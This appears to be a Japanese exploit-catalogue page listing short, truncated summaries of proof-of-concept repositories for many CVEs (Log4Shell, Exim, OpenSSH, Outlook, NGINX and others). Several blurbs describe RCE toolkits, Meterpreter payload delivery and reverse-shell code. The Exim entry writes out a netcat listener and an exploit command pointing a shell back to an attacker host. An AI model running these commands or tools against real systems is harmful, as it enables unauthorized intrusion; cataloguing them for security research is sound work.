CVE-2025-34159

CVE-2025-34159: Coolify における Docker Compose インジェクション 脆弱性の概要 フィールド| 値 ---|--- CVE ID| CVE-2025-34159 影響を受けるバージョン| Coolify ≤ v4.0.0-beta.420.6 修正バージョン| v4.0.0-beta.420.7 深刻度| 重大 CVSS 4.0| CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H CWE| CWE-78 OSコマンドインジェクション, CWE-20 不適切な入力検証 概要...

git-lfs-RCE-exploit-CVE-2020-27955

Git-lfs リモートコード実行 RCE エクスプロイト CVE-2020-27955 .bat / powershell 版 影響を受ける: git、GitHub CLI gh、GitHub Desktop、Visual Studio Code、SourceTree、SmartGit、GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上でテスト済み: git、GitHub CLI gh、GitHub Desktop、Visual Studio...

CVE-2017-0199

エクスプロイトツールキット CVE-2017-0199 - v2.0 エクスプロイトツールキット CVE-2017-0199 - v2.0 は、Microsoft RTF RCE を迅速かつ効果的に悪用するための便利な Python スクリプトです。複雑な設定を必要とせず、悪意のある RTF ファイルを生成し、Metasploit / Meterpreter ペイロードを被害者に配信できます。 ビデオチュートリアル https://youtu.be/42LjG7bAvpg リリースノート: スクリプトに以下の機能を導入 root@kitploit: - ツールキットを使用して悪意のある...

ingressNightmare-CVE-2025-1974-exps

Ingress Nightmare CVE-2025-1907 説明 この脆弱性により、リモート攻撃者が kubernetes/ingress-nginx の影響を受けるインストール上で任意のコードを実行できるようになります。この脆弱性を悪用するのに認証は必要ありません。特定の欠陥は HTTP リクエストの処理に存在します。...

CVE-2024-24919---Poc

CVE-2024-24919 概念実証 CVE-2024-24919 の概念実証 詳細はこちら - https://nvd.nist.gov/vuln/detail/CVE-2024-24919 この脆弱性により、認証されていないリモート攻撃者が影響を受けるアプライアンス上の任意のファイルの内容を読み取ることが可能になります。 説明 これにより、攻撃者はインターネットに接続され、リモートアクセスVPNまたはモバイルアクセスソフトウェアブレードが有効になっているCheck Point Security Gateway上で特定の情報を読み取る可能性があります。 Nucleiテンプレート:...

GPON

GPONホームルーターにおけるRCE（CVE-2018-10561） 脆弱性 現在、多くのルーターがGPONインターネットを利用しており、VPNMentorによって、デバイスのすべての認証をバイパスする方法（CVE-2018-10561 ）が発見されました。この認証バイパスにより、別のコマンドインジェクションの脆弱性（CVE-2018-10562 ）が明らかになり、デバイス上でコマンドを実行することも可能になります。 Shodanによると、執筆時点でこれらのデバイスのうち約100万台がインターネットに露出していました。 必要な依存関係 requests urllib2 テスト済み環境...

CVE-2023-21823

CVE-2023-21823 Windows用リバースシェル このリポジトリには、Windowsオペレーティングシステム用のリバースシェルを実装したCコードが含まれています。リバースシェルを使用すると、コマンドラインによるリモートシステム制御が可能になり、感染したマシン上でコマンドを実行できます。 重要 このコードを不正な目的で、またはシステム所有者の許可なく使用することは、違法であり倫理的原則に反します。このコードは教育および研究目的でのみ提供されています。 ビルド プロジェクトをビルドするには、MinGW や Microsoft Visual Studio などのCコンパイラが必要で...

CVE-2019-15107-RCE-WebMin

Webmin CVE-2019-15107 検出 軽量なPythonスクリプトで、Webminのバージョンを識別し、1.882 ≤ バージョン ≤ 1.920 を実行しているサーバーをCVE-2019-15107に対して潜在的に脆弱としてフラグ付けします。このツールは脆弱性を悪用せず 、報告のみを行います。 前提条件 Git Python 3.7+ Docker & Docker Compose リポジトリ構成 root@kitploit: your-project/ ├── detectwebmincve201915107.py ├── requirements.txt └──...

CVE-2020-11651

CVE-2020-11651 SaltStack CVE-2020-11651 および CVE-2020-11652 を悪用して、/etc/passwd と /etc/shadow にエントリを注入することで、脆弱な Salt master に新しいユーザーを追加するスクリプト。 root@kitploit: Exploit Title: Saltstack 3000.1 - Remote Code Execution Date: 2020-05-04 Orignal Exploit Author: Jasper Lievisse Adriaanse Modified Author:...

Log4Shell-CVE-2021-44228

Log4Shell（CVE-2021-44228）の悪用：完全かつ最新の実証ラボ Log4Shell（CVE-2021-44228）は、これまでに公開された中で最も影響力のあるリモートコード実行の脆弱性の1つです。この脆弱性は、広く使用されているJavaロギングフレームワークであるApache Log4j 2 に影響し、攻撃者がログメッセージ内のJNDIルックアップ を悪用して任意のコードを実行することを可能にします。 このガイドでは、以下を使用した完全で再現可能なデモンストレーションラボを提供します。 Kali Linux （攻撃者） Docker化...

CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim バージョン 4.87 から 4.91（含む）に欠陥が見つかりました。 /src/deliver.c 内の delivermessage 関数における受信者アドレスの不適切な検証により、リモートでのコマンド実行につながる可能性があります。 例 root@kitploit: nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

CVE-2022-34169

CVE-2022-34169 PoC SUpwnチャレンジ（SUCTF 2025）向けの（柔軟な）PoCと解法です。元の発見者（Felix Wilhelm）によるこのissueと、このブログ記事（thanat0s）に基づいています。既存のPoCほどハード定数に依存しないようにしています。 異なるJavaバイトコードペイロード（例：WAF回避）を配信したい場合は、RCE.javaを編集してください。それ以外の場合、RCEコマンドはCVE-2022-34169.pyの先頭にあります。 （web.jarはSUpwnの配布物です） セットアップ root@kitploit: docker...

CVE-2026-34156-NocoBase-Sandbox-Escape-via-Workflow-Execution-Vulnerability-

CVE-2026-34156 – NocoBase サンドボックスエスケープ（RCE） -orange NocoBase バージョン ≤ 2.0.26 における、ワークフローサンドボックスエスケープを介した認証済みリモートコード実行 。 📋 説明 CVE-2026-34156 は、NocoBase ワークフローエンジンにおけるサンドボックスエスケープの脆弱性です。認証済みの攻撃者は、式サンドボックスをバイパスして基盤となるサーバー上で任意のシステムコマンドを実行する悪意のあるワークフローを作成できます。 攻撃ベクトル – NocoBase API への認証済み HTTP リクエスト...

cve-2024-6387-poc

cve-2024-6387-poc OpenSSHのサーバー（sshd）におけるシグナルハンドラの競合状態 7etsuo 説明 CVE-2024-6387のエクスプロイト。glibcベースのLinuxシステム上のOpenSSHサーバー（sshd）におけるシグナルハンドラの競合状態を標的としています。この脆弱性により、SIGALRMハンドラ内で非同期シグナルセーフでない関数が呼び出されることで、root権限でのリモートコード実行が可能になります。 エクスプロイトの詳細 脆弱性の概要 このエクスプロイトは、OpenSSHのsshdにおけるSIGALRMハンドラの競合状態を標的としています。...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 は、Microsoft Outlook（Microsoft 365 Apps、Outlook 2016/2019、2024年2月のパッチ適用前の Office LTSC 2021 を含む）における重大なリモートコード実行の脆弱性です。 認証されていない攻撃者は、感嘆符（!）を含む file:// リンクが埋め込まれた特別に細工されたメールを送信することで、Outlook の Protected View をバイパスできます。被害者がリンクをクリックすると（またはメールをプレビューするだけでも）、Outlook は自動的に攻撃者の SMB...

PIL-CVE-2017-8291

Python PIL/Pillow リモートコマンド実行 GhostButt / CVE-2017-8291 中国語版 Chinese version Python PIL Pillow は、Python で人気の画像処理ライブラリです。さまざまな画像形式をサポートし、強力な画像操作機能を提供します。 Python 画像処理モジュール PIL Pillow は、内部で GhostScript を呼び出して EPS 画像を処理するため、GhostButt 脆弱性 CVE-2017-8291 の影響を受けます。この脆弱性により、攻撃者は対象システム上で任意のコマンドを実行できます。 PIL...

CVE-2016-2098-my-first-exploit

CVE-2016-2098-my-first-exploit このエクスプロイトは、Ruby-on-Railsにおいて、ユーザーが提供したデータに対してrenderを使用する際のリモートコード実行脆弱性です。 Python3で書かれており、requestsライブラリをインストールすることを忘れないでください。以下がコマンドです。 root@kitploit: pip3 install requests...

Nginx-Rift

NGINX Rift CVE-2026-42945 のRCE Proof of Conceptです。これは2008年に導入されたNGINXの ngxhttprewritemodule における深刻なヒープバッファオーバーフローです。このバグにより、rewrite および set ディレクティブを使用しているサーバーに対して、未認証のリモートコード実行が可能になります。 この脆弱性は、他の3件のメモリ破壊の問題（CVE-2026-42946、CVE-2026-40701、CVE-2026-42934）とともに、depthfirst...

react2shell-security-toolkit

🛡️ React2Shell セキュリティツールキット CVE-2025-55182 React2Shell 脆弱性を検出・緩和するセキュリティツールキット ⚠️ 重要 : この脆弱性 CVSS 10.0 は現在活発に悪用されています！ クイックスタート root@kitploit: npm install -g react2shell-security-toolkit npx react2shell-check CVE-2025-55182 とは？ 影響を受けるリモートコード実行（RCE）脆弱性： root@kitploit: ❌ React 19.x サーバーコンポーネント ❌...

nmap-scripts

nmap-scripts cve-2020-0796 & cve-2019-7238 & cve2019-11580 & cve2017-6327 の脆弱性に対する nmap スクリプト CVE-2020-0796 Microsoft Server Message Block 3.1.1 SMBv3 プロトコルが特定のリクエストを処理する方法に、リモートコード実行の脆弱性が存在します。これは 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability' としても知られています。 CVE-2019-7238 Sonaty...